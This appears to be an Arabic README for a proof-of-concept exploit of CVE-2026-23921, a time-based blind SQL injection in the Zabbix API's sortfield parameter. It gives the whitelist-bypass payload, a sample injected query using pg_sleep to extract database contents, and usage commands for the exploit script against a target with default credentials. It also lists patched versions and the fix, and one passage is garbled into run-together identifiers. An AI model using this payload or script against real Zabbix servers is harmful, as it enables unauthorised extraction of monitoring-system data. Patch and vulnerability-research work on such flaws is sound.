
إثبات مفهوم للاستغلال لـ CVE-2026-23921، وهو حقن SQL أعمى قائم على الوقت في Zabbix API عبر المعامل sortfield، مما يتيح استخراج البيانات من خلفيات PostgreSQL وMySQL.
الإصدارات المتأثرة: Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
CVSS: عالي
النوع: حقن SQL أعمى قائم على الوقت عبر معامل sortfield
يتطلب مصادقة: نعم (أي مستخدم API؛ Super Admin يتجنب عمليات الربط الخاصة بالصلاحيات)
تقبل خدمات Zabbix API القديمة (host.get، trigger.get، item.get، إلخ) معاملاً غير معلن groupBy عبر zbx_array_merge(). في CApiService::applyQuerySortOptions()، تستبدل مصفوفة groupBy القائمة البيضاء المُضمّنة المستخدمة للتحقق من . يمرر المهاجم نفس حمولة SQL في كل من و — ينجح التحقق مقابل القائمة التي يتحكم بها المهاجم، وتصل الحمولة إلى دون تهريب.
sortfieldgroupBysortfieldORDER BYgroupBy: ["hostid,(SELECT IF(...))--"] و sortfield: "hostid,(SELECT IF(...))--" مع countOutput: truezbx_array_merge بمفتاح groupBy غير المعلنapplyQuerySortOptions القائمة البيضاء من groupBy → ينجح التحققapplyQuerySortField الحمولة في ORDER BYcreateSelectQueryFromParts استعلام SQL النهائي دون تهريبSELECT COUNT(*) AS rowscount
FROM hosts h
WHERE h.flags IN (0,4)
ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50
THEN pg_sleep(3) ELSE pg_sleep(0) END)--
# PostgreSQL backend (default)
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db pgsql
# MySQL backend
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db mysql
# Existing auth token
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--auth <token> --db pgsql
# Extract arbitrary expression
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db pgsql \
--expr "current_user"
# Use a different API method
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db mysql \
--method trigger.get --sort-col triggerid
قم بالترقية إلى Zabbix 7.0.22 / 7.2.15 / 7.4.6 أو أحدث.
تستبدل الترقية array_merge($options['groupBy'], ...) بـ array_intersect($this->sortColumns, $options['groupBy']) بحيث لا تدخل القيم التي يوفرها المهاجم إلى القائمة البيضاء أبداً. تمت إضافة فحوصات نوع إضافية is_string() و is_array() كدفاع متعدد الطبقات.
هذه الأداة مخصصة لاختبارات الأمان المصرح بها والأغراض التعليمية فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح باختبارها.